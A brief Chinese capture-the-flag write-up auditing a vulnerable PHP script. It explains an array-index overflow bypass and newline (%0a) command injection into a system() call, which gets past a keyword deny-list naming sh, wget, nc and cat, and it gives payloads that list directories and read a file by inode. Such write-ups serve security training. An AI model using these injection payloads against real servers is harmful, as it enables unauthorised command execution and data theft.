这是一道PHP代码审计题目
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = [‘admin‘, ‘user‘];
if($stuff === $array && $stuff[0] != ‘admin‘) {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|‘|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo ‘Bonjour!‘;
}
}
} else {
highlight_file(__FILE__);
}
通过代码审计,可以观察到以下信息:
stuff[4294967295]=stuff[0]
stuff[4294967296]=admin&stuff[1]=user
%0a
进行替代所以我们可以分别注入payload为:
stuff[4294967296]=admin&stuff[1]=user&num=123%0als
!
stuff[4294967296]=admin&stuff[1]=user&num=123%0als -i /
stuff[4294967296]=admin&stuff[1]=user&num=123%0atac find / -inum 33043719
原文:https://www.cnblogs.com/Zeker62/p/15232412.html